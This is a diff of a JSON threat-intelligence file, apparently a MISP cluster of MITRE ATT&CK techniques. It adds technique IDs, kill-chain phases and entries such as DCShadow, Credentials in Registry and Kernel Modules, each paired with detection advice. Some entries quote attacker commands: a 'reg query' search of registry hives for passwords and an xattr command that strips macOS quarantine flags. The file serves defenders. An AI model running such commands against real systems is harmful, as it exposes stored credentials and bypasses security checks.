"https://www.slideshare.net/kieranjacobsen/lateral-movement-with-power-shell-2"
],
+ "external_id": "T1028",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:execution",
+ "mitre-attack:enterprise-attack:lateral-movement"
+ ],
"mitre_data_sources": [
"File monitoring",
"Authentication logs",
@@ -2423,6 +3476,11 @@
"https://www.synack.com/wp-content/uploads/2016/03/RSA%20OSX%20Malware.pdf",
"https://www.paloaltonetworks.com/content/dam/pan/en%20US/assets/pdf/reports/Unit%2042/unit42-wirelurker.pdf"
],
+ "external_id": "T1160",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:persistence",
+ "mitre-attack:enterprise-attack:privilege-escalation"
+ ],
"mitre_data_sources": [
"Process Monitoring",
"File monitoring"
@@ -2442,6 +3500,10 @@
"https://en.wikipedia.org/wiki/Keychain%20(software)",
"http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way"
],
+ "external_id": "T1142",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:credential-access"
+ ],
"mitre_data_sources": [
"System calls",
"Process Monitoring"
@@ -2459,6 +3521,10 @@
"refs": [
"https://attack.mitre.org/wiki/Technique/T1123"
],
+ "external_id": "T1123",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:collection"
+ ],
"mitre_data_sources": [
"API monitoring",
"Process monitoring",
@@ -2482,6 +3548,10 @@
"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
"https://www.fidelissecurity.com/sites/default/files/FTA%201018%20looking%20at%20the%20sky%20for%20a%20dark%20comet.pdf"
],
+ "external_id": "T1024",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:command-and-control"
+ ],
"mitre_data_sources": [
"Packet capture",
"Netflow/Enclave netflow",
@@ -2504,6 +3574,10 @@
"refs": [
"https://attack.mitre.org/wiki/Technique/T1061"
],
+ "external_id": "T1061",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:execution"
+ ],
"mitre_data_sources": [
"File monitoring",
"Binary file metadata",
@@ -2518,6 +3592,34 @@
},
"uuid": "a6525aec-acc4-47fe-92f9-b9b4de4b9228"
},
+ {
+ "description": "DCShadow is a method of manipulating Active Directory (AD) data, including objects and schemas, by registering (or reusing an inactive registration) and simulating the behavior of a Domain Controller (DC). (Citation: DCShadow Blog) (Citation: BlueHat DCShadow Jan 2018) Once registered, a rogue DC may be able to inject and replicate changes into AD infrastructure for any domain object, including credentials and keys.\n\nRegistering a rogue DC involves creating a new server and nTDSDSA objects in the Configuration partition of the AD schema, which requires Administrator privileges (either Domain or local to the DC) or the KRBTGT hash. (Citation: Adsecurity Mimikatz Guide)\n\nThis technique may bypass system logging and security monitors such as security information and event management (SIEM) products (since actions taken on a rogue DC may not be reported to these sensors). (Citation: DCShadow Blog) The technique may also be used to alter and delete replication and other associated metadata to obstruct forensic analysis. Adversaries may also utilize this technique to perform SID-History Injection and/or manipulate AD objects (such as accounts, access control lists, schemas) to establish backdoors for Persistence. (Citation: DCShadow Blog) (Citation: BlueHat DCShadow Jan 2018)\n\nDetection: Monitor and analyze network traffic associated with data replication (such as calls to DrsAddEntry, DrsReplicaAdd, and especially GetNCChanges) between DCs as well as to/from non DC hosts. (Citation: GitHub DCSYNCMonitor) (Citation: DCShadow Blog) (Citation: BlueHat DCShadow Jan 2018) DC replication will naturally take place every 15 minutes but can be triggered by an attacker or by legitimate urgent changes (ex: passwords). (Citation: BlueHat DCShadow Jan 2018) Also consider monitoring and alerting on the replication of AD objects (Audit Detailed Directory Service Replication Events 4928 and 4929). (Citation: DCShadow Blog)\n\nLeverage AD directory synchronization (DirSync) to monitor changes to directory state using AD replication cookies. (Citation: Microsoft DirSync) (Citation: ADDSecurity DCShadow Feb 2018)\n\nBaseline and periodically analyze the Configuration partition of the AD schema and alert on creation of nTDSDSA objects. (Citation: BlueHat DCShadow Jan 2018)\n\nInvestigate usage of Kerberos Service Principal Names (SPNs), especially those associated with services (beginning with “GC/”) by computers not present in the DC organizational unit (OU). The SPN associated with the Directory Replication Service (DRS) Remote Protocol interface (GUID E3514235–4B06–11D1-AB04–00C04FC2DCD2) can be set without logging. (Citation: ADDSecurity DCShadow Feb 2018) A rogue DC must authenticate as a service using these two SPNs for the replication process to successfully complete.\n\nPlatforms: Windows\n\nData Sources: API monitoring, Authentication logs, Network protocol analysis, Packet capture\n\nDefense Bypassed: Log analysis\n\nPermissions Required: Administrator\n\nContributors: Vincent Le Toux",
+ "value": "DCShadow - T1207",
+ "meta": {
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1207",
+ "https://www.dcshadow.com/",
+ "https://adsecurity.org/?page%20id=1821",
+ "https://github.com/shellster/DCSYNCMonitor",
+ "https://msdn.microsoft.com/en-us/library/ms677626.aspx",
+ "https://adds-security.blogspot.fr/2018/02/detecter-dcshadow-impossible.html"
+ ],
+ "external_id": "T1207",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:defense-evasion"
+ ],
+ "mitre_data_sources": [
+ "API monitoring",
+ "Authentication logs",
+ "Network protocol analysis",
+ "Packet capture"
+ ],
+ "mitre_platforms": [
+ "Windows"
+ ]
+ },
+ "uuid": "564998d8-ab3e-4123-93fb-eccaa6b9714a"
+ },
{
"description": "In macOS and OS X, when applications or programs are downloaded from the internet, there is a special attribute set on the file called com.apple.quarantine. This attribute is read by Apple's Gatekeeper defense program at execution time and provides a prompt to the user to allow or deny execution. \n\nApps loaded onto the system from USB flash drive, optical disk, external hard drive, or even from a drive shared over the local network won’t set this flag. Additionally, other utilities or events like drive-by downloads don’t necessarily set it either. This completely bypasses the built-in Gatekeeper check. (Citation: Methods of Mac Malware Persistence) The presence of the quarantine flag can be checked by the xattr command xattr /path/to/MyApp.app for com.apple.quarantine. Similarly, given sudo access or elevated permission, this attribute can be removed with xattr as well, sudo xattr -r -d com.apple.quarantine /path/to/MyApp.app. (Citation: Clearing quarantine attribute) (Citation: OceanLotus for OS X)\n \nIn typical operation, a file will be downloaded from the internet and given a quarantine flag before being saved to disk. When the user tries to open the file or application, macOS’s gatekeeper will step in and check for the presence of this flag. If it exists, then macOS will then prompt the user to confirmation that they want to run the program and will even provide the URL where the application came from. However, this is all based on the file being downloaded from a quarantine-savvy application. (Citation: Bypassing Gatekeeper)\n\nDetection: Monitoring for the removal of the com.apple.quarantine flag by a user instead of the operating system is a suspicious action and should be examined further.\n\nPlatforms: macOS\n\nDefense Bypassed: Application whitelisting, Anti-virus\n\nPermissions Required: User, Administrator",
"value": "Gatekeeper Bypass - T1144",
@@ -2529,12 +3631,39 @@
"https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update",
"https://blog.malwarebytes.com/cybercrime/2015/10/bypassing-apples-gatekeeper/"
],
+ "external_id": "T1144",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:defense-evasion"
+ ],
"mitre_platforms": [
"macOS"
]
},
"uuid": "6fb6408c-0db3-41d9-a3a1-a32e5f16454e"
},
+ {
+ "description": "The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.\n\nExample commands to find Registry keys related to password information: (Citation: Pentestlab Stored Credentials)\n*Local Machine Hive: reg query HKLM /f password /t REG_SZ /s\n*Current User Hive: reg query HKCU /f password /t REG_SZ /s\n\nDetection: Monitor processes for applications that can be used to query the Registry, such as Reg, and collect command parameters that may indicate credentials are being searched. Correlate activity with related suspicious behavior that may indicate an active intrusion to reduce false positives.\n\nPlatforms: Windows\n\nData Sources: Windows Registry, Process command-line parameters, Process Monitoring\n\nPermissions Required: User, Administrator\n\nSystem Requirements: Ability to query some Registry locations depends on the adversary's level of access. User permissions are usually limited to access of user-related Registry keys.\n\nContributors: Sudhanshu Chauhan, @Sudhanshu_C",
+ "value": "Credentials in Registry - T1214",
+ "meta": {
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1214",
+ "https://pentestlab.blog/2017/04/19/stored-credentials/"
+ ],
+ "external_id": "T1214",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:credential-access"
+ ],
+ "mitre_data_sources": [
+ "Windows Registry",
+ "Process command-line parameters",
+ "Process Monitoring"
+ ],
+ "mitre_platforms": [
+ "Windows"
+ ]
+ },
+ "uuid": "2edd9d6a-5674-4326-a600-ba56de467286"
+ },
{
"description": "Adversaries may use fallback or alternate communication channels if the primary channel is compromised or inaccessible in order to maintain reliable command and control and to avoid data transfer thresholds.\n\nDetection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Packet capture, Netflow/Enclave netflow, Malware reverse engineering, Process use of network, Process monitoring\n\nRequires Network: Yes",
"value": "Fallback Channels - T1008",
@@ -2543,6 +3672,10 @@
"https://attack.mitre.org/wiki/Technique/T1008",
"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
],
+ "external_id": "T1008",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:command-and-control"
+ ],
"mitre_data_sources": [
"Packet capture",
"Netflow/Enclave netflow",
@@ -2559,18 +3692,20 @@
"uuid": "f24faf46-3b26-4dbb-98f2-63460498e433"
},
{
- "description": "Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Exploiting software vulnerabilities may allow adversaries to run a command or binary on a remote system for lateral movement, escalate a current process to a higher privilege level, or bypass security mechanisms. Exploits may also allow an adversary access to privileged accounts and credentials. One example of this is MS14-068, which can be used to forge Kerberos tickets using domain user permissions. (Citation: Technet MS14-068) (Citation: ADSecurity Detecting Forged Tickets)\n\nDetection: Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Software and operating system crash reports may contain useful contextual information about attempted exploits that correlate with other malicious activity. Exploited processes may exhibit behavior that is unusual for the specific process, such as spawning additional processes or reading and writing to files.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Windows Error Reporting, File monitoring, Process monitoring\n\nEffective Permissions: User, Administrator, SYSTEM\n\nDefense Bypassed: Anti-virus, System access controls\n\nPermissions Required: User, Administrator, SYSTEM\n\nSystem Requirements: Unpatched software or otherwise vulnerable target. Depending on the target and goal, the system and exploitable service may need to be remotely accessible from the internal network. In the case of privilege escalation, the adversary likely already has user permissions on the target system.\n\nContributors: John Lambert, Microsoft Threat Intelligence Center",
- "value": "Exploitation of Vulnerability - T1068",
+ "description": "Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform Privilege Escalation to include use of software exploitation to circumvent those restrictions.\n\nWhen initially gaining access to a system, an adversary may be operating within a lower privileged process which will prevent them from accessing certain resources on the system. Vulnerabilities may exist, usually in operating system components and software commonly running at higher permissions, that can be exploited to gain higher levels of access on the system. This could enable someone to move from unprivileged or user level permissions to SYSTEM or root permissions depending on the component that is vulnerable. This may be a necessary step for an adversary compromising a endpoint system that has been properly configured and limits other privilege escalation methods.\n\nDetection: Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of the processes. This could include suspicious files written to disk, evidence of Process Injection for attempts to hide execution or evidence of Discovery.\n\nHigher privileges are often necessary to perform additional actions such as some methods of Credential Dumping. Look for additional activity that may indicate an adversary has gained higher privileges.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Windows Error Reporting, Process monitoring, Application Logs\n\nEffective Permissions: User\n\nPermissions Required: User\n\nSystem Requirements: In the case of privilege escalation, the adversary likely already has user permissions on the target system.",
+ "value": "Exploitation for Privilege Escalation - T1068",
"meta": {
"refs": [
- "https://attack.mitre.org/wiki/Technique/T1068",
- "https://adsecurity.org/?p=1515",
- "https://technet.microsoft.com/en-us/library/security/ms14-068.aspx"
+ "https://attack.mitre.org/wiki/Technique/T1068"
+ ],
+ "external_id": "T1068",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:privilege-escalation"
],
"mitre_data_sources": [
"Windows Error Reporting",
- "File monitoring",
- "Process monitoring"
+ "Process monitoring",
+ "Application Logs"
],
"mitre_platforms": [
"Linux",
@@ -2590,6 +3725,11 @@
"https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/",
"https://www.paloaltonetworks.com/content/dam/pan/en%20US/assets/pdf/reports/Unit%2042/unit42-wirelurker.pdf"
],
+ "external_id": "T1158",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:defense-evasion",
+ "mitre-attack:enterprise-attack:persistence"
+ ],
"mitre_data_sources": [
"File monitoring",
"Process Monitoring",
@@ -2610,6 +3750,10 @@
"refs": [
"https://attack.mitre.org/wiki/Technique/T1009"
],
+ "external_id": "T1009",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:defense-evasion"
+ ],
"mitre_platforms": [
"Linux",
"macOS",
@@ -2626,6 +3770,11 @@
"https://attack.mitre.org/wiki/Technique/T1108",
"https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"
],
+ "external_id": "T1108",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:defense-evasion",
+ "mitre-attack:enterprise-attack:persistence"
+ ],
"mitre_data_sources": [
"Process monitoring",
"Process use of network",
@@ -2652,6 +3801,10 @@
"http://www.netsec.colostate.edu/~zhang/DetectingEncryptedBotnetTraffic.pdf",
"https://en.wikipedia.org/wiki/List%20of%20file%20signatures"
],
+ "external_id": "T1022",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:exfiltration"
+ ],
"mitre_data_sources": [
"File monitoring",
"Binary file metadata",
@@ -2674,6 +3827,12 @@
"https://attack.mitre.org/wiki/Technique/T1150",
"https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/"
],
+ "external_id": "T1150",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:defense-evasion",
+ "mitre-attack:enterprise-attack:persistence",
+ "mitre-attack:enterprise-attack:privilege-escalation"
+ ],
"mitre_data_sources": [
"File monitoring",
"Process Monitoring",
@@ -2698,6 +3857,12 @@
"https://msdn.microsoft.com/en-US/library/aa375365",
"https://www.mandiant.com/blog/dll-search-order-hijacking-revisited/"
],
+ "external_id": "T1038",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:defense-evasion",
+ "mitre-attack:enterprise-attack:persistence",
+ "mitre-attack:enterprise-attack:privilege-escalation"
+ ],
"mitre_data_sources": [
"File monitoring",
"DLL monitoring",
@@ -2722,6 +3887,12 @@
"https://www.f-secure.com/v-descs/backdoor%20w32%20hupigon%20emv.shtml",
"https://www.symantec.com/security%20response/writeup.jsp?docid=2008-062807-2501-99&tabid=2"
],
+ "external_id": "T1183",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:defense-evasion",
+ "mitre-attack:enterprise-attack:persistence",
+ "mitre-attack:enterprise-attack:privilege-escalation"
+ ],
"mitre_data_sources": [
"Process Monitoring",
"Windows Registry",
@@ -2740,6 +3911,10 @@
"refs": [
"https://attack.mitre.org/wiki/Technique/T1039"
],
+ "external_id": "T1039",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:collection"
+ ],
"mitre_data_sources": [
"File monitoring",
"Process monitoring",
@@ -2764,6 +3939,11 @@
"https://technet.microsoft.com/en-us/sysinternals/bb963902",
"https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
],
+ "external_id": "T1103",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:persistence",
+ "mitre-attack:enterprise-attack:privilege-escalation"
+ ],
"mitre_data_sources": [
"Loaded DLLs",
"Process monitoring",
@@ -2775,6 +3955,31 @@
},
"uuid": "317fefa6-46c7-4062-adb6-2008cf6bcb41"
},
+ {
+ "description": "Adversaries may enumerate browser bookmarks to learn more about compromised hosts. Browser bookmarks may reveal personal information about users (ex: banking sites, interests, social media, etc.) as well as details about internal network resources such as servers, tools/dashboards, or other related infrastructure.\n\nBrowser bookmarks may also highlight additional targets after an adversary has access to valid credentials, especially Credentials in Files associated with logins cached by a browser.\n\nSpecific storage locations vary based on platform and/or application, but browser bookmarks are typically stored in local files/databases.\n\nDetection: Monitor processes and command-line arguments for actions that could be taken to gather browser bookmark information. Remote access tools with built-in features may interact directly using APIs to gather information. Information may also be acquired through system management tools such as Windows Management Instrumentation and PowerShell.\n\nSystem and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Collection and Exfiltration, based on the information obtained.\n\nPlatforms: Linux, Windows, macOS\n\nData Sources: API monitoring, File monitoring, Process command-line parameters, Process Monitoring\n\nPermissions Required: User\n\nContributors: Mike Kemmerer",
+ "value": "Browser Bookmark Discovery - T1217",
+ "meta": {
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1217"
+ ],
+ "external_id": "T1217",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:discovery"
+ ],
+ "mitre_data_sources": [
+ "API monitoring",
+ "File monitoring",
+ "Process command-line parameters",
+ "Process Monitoring"
+ ],
+ "mitre_platforms": [
+ "Linux",
+ "Windows",
+ "macOS"
+ ]
+ },
+ "uuid": "5e4a2073-9643-44cb-a0b5-e7f4048446c7"
+ },
{
"description": "Use of a standard non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive. (Citation: Wikipedia OSI) Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), and transport layer protocols, such as the User Datagram Protocol (UDP).\n\nICMP communication between hosts is one example. Because ICMP is part of the Internet Protocol Suite, it is required to be implemented by all IP-compatible hosts; (Citation: Microsoft ICMP) however, it is not as commonly monitored as other Internet Protocols such as TCP or UDP and may be used by adversaries to hide communications.\n\nDetection: Analyze network traffic for ICMP messages or other protocols that contain abnormal data or are not normally seen within or exiting the network.\n\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Linux, macOS, Windows\n\nRequires Network: Yes",
"value": "Standard Non-Application Layer Protocol - T1095",
@@ -2784,6 +3989,10 @@
"http://support.microsoft.com/KB/170292",
"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
],
+ "external_id": "T1095",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:command-and-control"
+ ],
"mitre_platforms": [
"Linux",
"macOS",
@@ -2802,6 +4011,10 @@
"https://htmlpreview.github.io/?https://github.com/MatthewDemaske/blogbackup/blob/master/netshell.html",
"https://github.com/outflankbv/NetshHelperBeacon"
],
+ "external_id": "T1128",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:persistence"
+ ],
"mitre_data_sources": [
"Process monitoring",
"DLL monitoring",
@@ -2823,6 +4036,10 @@
"https://blog.stealthbits.com/manipulating-user-passwords-with-mimikatz-SetNTLM-ChangeNTLM",
"https://github.com/gentilkiwi/mimikatz/issues/92"
],
+ "external_id": "T1098",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:credential-access"
+ ],
"mitre_data_sources": [
"Authentication logs",
"API monitoring",
@@ -2843,6 +4060,10 @@
"https://attack.mitre.org/wiki/Technique/T1164",
"https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf"
],
+ "external_id": "T1164",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:persistence"
+ ],
"mitre_platforms": [
"macOS"
]
@@ -2856,6 +4077,10 @@
"refs": [
"https://attack.mitre.org/wiki/Technique/T1018"
],
+ "external_id": "T1018",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:discovery"
+ ],
"mitre_data_sources": [
"Network protocol analysis",
"Process command-line parameters",
@@ -2877,6 +4102,10 @@
"refs": [
"https://attack.mitre.org/wiki/Technique/T1069"
],
+ "external_id": "T1069",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:discovery"
+ ],
"mitre_data_sources": [
"API monitoring",
"Process command-line parameters",
@@ -2890,6 +4119,31 @@
},
"uuid": "15dbf668-795c-41e6-8219-f0447c0e64ce"
},
+ {
+ "description": "Various Windows utilities may be used to execute commands, possibly without invoking cmd. For example, Forfiles, the Program Compatibility Assistant (pcalua.exe), components of the Windows Subsystem for Linux (WSL), as well as other utilities may invoke the execution of programs and commands from a Command-Line Interface, Run window, or via scripts. (Citation: VectorSec ForFiles Aug 2017) (Citation: Evi1cg Forfiles Nov 2017)\n\nAdversaries may abuse these utilities for Defense Evasion, specifically to perform arbitrary execution while subverting detections and/or mitigation controls (such as Group Policy) that limit/prevent the usage of cmd.\n\nDetection: Monitor and analyze logs from host-based detection mechanisms, such as Sysmon, for events such as process creations that include or are resulting from parameters associated with invoking programs/commands and/or spawning child processes. (Citation: RSA Forfiles Aug 2017)\n\nPlatforms: Windows\n\nData Sources: Process Monitoring, Process command-line parameters, Windows event logs\n\nDefense Bypassed: Application whitelisting, Process whitelisting, Whitelisting by file name or path\n\nPermissions Required: User\n\nContributors: Matthew Demaske, Adaptforward",
+ "value": "Indirect Command Execution - T1202",
+ "meta": {
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1202",
+ "https://twitter.com/vector%20sec/status/896049052642533376",
+ "https://twitter.com/Evi1cg/status/935027922397573120",
+ "https://community.rsa.com/community/products/netwitness/blog/2017/08/14/are-you-looking-out-for-forfilesexe-if-you-are-watching-for-cmdexe"
+ ],
+ "external_id": "T1202",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:defense-evasion"
+ ],
+ "mitre_data_sources": [
+ "Process Monitoring",
+ "Process command-line parameters",
+ "Windows event logs"
+ ],
+ "mitre_platforms": [
+ "Windows"
+ ]
+ },
+ "uuid": "3b0e52ce-517a-4614-a523-1bd5deef6c5e"
+ },
{
"description": "Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces behind as to what was done within a network and how. Adversaries may remove these files over the course of an intrusion to keep their footprint low or remove them at the end as part of the post-intrusion cleanup process.\n\nThere are tools available from the host operating system to perform cleanup, but adversaries may use other tools as well. Examples include native cmd functions such as DEL, secure deletion tools such as Windows Sysinternals SDelete, or other third-party file deletion tools. (Citation: Trend Micro APT Attack Tools)\n\nDetection: It may be uncommon for events related to benign command-line functions such as DEL or third-party utilities or tools to be found in an environment, depending on the user base and how systems are typically used. Monitoring for command-line deletion functions to correlate with binaries or other files that an adversary may drop and remove may lead to detection of malicious activity. Another good practice is monitoring for known deletion and secure deletion tools that are not already on systems within an enterprise network that an adversary could introduce. Some monitoring tools may collect command-line arguments, but may not capture DEL commands since DEL is a native function within cmd.exe.\n\nPlatforms: Linux, Windows, macOS\n\nData Sources: Binary file metadata, File monitoring, Process command-line parameters\n\nDefense Bypassed: Host forensic analysis\n\nPermissions Required: User\n\nContributors: Walker Johnson",
"value": "File Deletion - T1107",
@@ -2898,6 +4152,10 @@
"https://attack.mitre.org/wiki/Technique/T1107",
"http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/"
],
+ "external_id": "T1107",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:defense-evasion"
+ ],
"mitre_data_sources": [
"Binary file metadata",
"File monitoring",
@@ -2925,6 +4183,11 @@
"http://msdn.microsoft.com/en-us/library/ms687393",
"https://msdn.microsoft.com/en-us/library/fd7hxfdd.aspx"
],
+ "external_id": "T1034",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:persistence",
+ "mitre-attack:enterprise-attack:privilege-escalation"
+ ],
"mitre_data_sources": [
"File monitoring",
"Process monitoring"
@@ -2944,6 +4207,10 @@
"http://www.symantec.com/connect/blogs/are-mbr-infections-back-fashion",
"https://www.fireeye.com/content/dam/fireeye-www/regional/fr%20FR/offers/pdfs/ig-mtrends-2016.pdf"
],
+ "external_id": "T1067",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:persistence"
+ ],
"mitre_data_sources": [
"API monitoring",
"MBR",
@@ -2963,6 +4230,10 @@
"refs": [
"https://attack.mitre.org/wiki/Technique/T1070"
],
+ "external_id": "T1070",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:defense-evasion"
+ ],
"mitre_data_sources": [
"File monitoring",
"Process command-line parameters",
@@ -2983,6 +4254,10 @@
"refs": [
"https://attack.mitre.org/wiki/Technique/T1011"
],
+ "external_id": "T1011",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:exfiltration"
+ ],
"mitre_data_sources": [
"User interface",
"Process monitoring"
@@ -3002,6 +4277,10 @@
"refs": [
"https://attack.mitre.org/wiki/Technique/T1005"
],
+ "external_id": "T1005",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:collection"
+ ],
"mitre_data_sources": [
"File monitoring",
"Process monitoring",
@@ -3024,6 +4303,11 @@
"https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html",
"https://www.us-cert.gov/ncas/alerts/TA15-314A"
],
+ "external_id": "T1100",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:persistence",
+ "mitre-attack:enterprise-attack:privilege-escalation"
+ ],
"mitre_data_sources": [
"Anti-virus",
"File monitoring",
@@ -3040,13 +4324,54 @@
"uuid": "c16e5409-ee53-4d79-afdc-4099dc9292df"
},
{
- "description": "Windows stores local service configuration information in the Registry under HKLM\\SYSTEM\\CurrentControlSet\\Services. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, PowerShell, or Reg. Access to Registry keys is controlled through Access Control Lists and permissions. (Citation: MSDN Registry Key Security)\n\nIf the permissions for users and groups are not properly set and allow access to the Registry keys for a service, then adversaries can change the service binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to gain persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).\n\nDetection: Service changes are reflected in the Registry. Modification to existing services should not occur frequently. If a service binary path is changed to a location that is not typical for that service and does not correlate with software updates, then it may be due to malicious activity. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current service information. (Citation: TechNet Autoruns) Look for changes to services that do not correlate with known software, patch cycles, etc. Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data.\n\nMonitor processes and command-line arguments for actions that could be done to modify services. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Services may also be changed through Windows system management tools such as Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data.\n\nPlatforms: Windows\n\nData Sources: Process command-line parameters, Services, Windows Registry\n\nEffective Permissions: SYSTEM\n\nPermissions Required: Administrator, SYSTEM\n\nSystem Requirements: Ability to modify a service binPath/ImagePath value in the Registry\n\nContributors: Travis Smith, Tripwire",
+ "description": "Loadable Kernel Modules (or LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand. They extend the functionality of the kernel without the need to reboot the system. For example, one type of module is the device driver, which allows the kernel to access hardware connected to the system. (Citation: Linux Kernel Programming) When used maliciously, Loadable Kernel Modules (LKMs) can be a type of kernel-mode Rootkit that run with the highest operating system privilege (Ring 0). (Citation: Linux Kernel Module Programming Guide) Adversaries can use loadable kernel modules to covertly persist on a system and evade defenses. Examples have been found in the wild and there are some open source projects. (Citation: Volatility Phalanx2) (Citation: CrowdStrike Linux Rootkit) (Citation: GitHub Reptile) (Citation: GitHub Diamorphine)\n\nCommon features of LKM based rootkits include: hiding itself, selective hiding of files, processes and network activity, as well as log tampering, providing authenticated backdoors and enabling root access to non-privileged users. (Citation: iDefense Rootkit Overview)\n\nKernel extensions, also called kext, are used for macOS to load functionality onto a system similar to LKMs for Linux. They are loaded and unloaded through kextload and kextunload commands. Several examples have been found where this can be used. (Citation: RSAC 2015 San Francisco Patrick Wardle) (Citation: Synack Secure Kernel Extension Broken) Examples have been found in the wild. (Citation: Securelist Ventir)\n\nDetection: LKMs are typically loaded into /lib/modules and have had the extension .ko (\"kernel object\") since version 2.6 of the Linux kernel. (Citation: Wikipedia Loadable Kernel Module)\n\nMany LKMs require Linux headers (specific to the target kernel) in order to compile properly. \nThese are typically obtained through the operating systems package manager and installed like a normal package.\n\nAdversaries will likely run these commands on the target system before loading a malicious module in order to ensure that it is properly compiled. (Citation: iDefense Rootkit Overview)\n\nOn Ubuntu and Debian based systems this can be accomplished by running: apt-get install linux-headers-$(uname -r)\n\nOn RHEL and CentOS based systems this can be accomplished by running: yum install kernel-devel-$(uname -r)\n\nLoading, unloading, and manipulating modules on Linux systems can be detected by monitoring for the following commands:modprobe insmod lsmod rmmod modinfo (Citation: Linux Loadable Kernel Module Insert and Remove LKMs)\n\nFor macOS, monitor for execution of kextload commands and correlate with other unknown or suspicious activity.\n\nPlatforms: Linux, macOS\n\nData Sources: System calls, Process Monitoring, Process command-line parameters\n\nPermissions Required: root\n\nContributors: Jeremy Galloway, Red Canary",
+ "value": "Kernel Modules and Extensions - T1215",
+ "meta": {
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1215",
+ "https://www.tldp.org/LDP/lkmpg/2.4/lkmpg.pdf",
+ "http://www.tldp.org/LDP/lkmpg/2.4/html/x437.html",
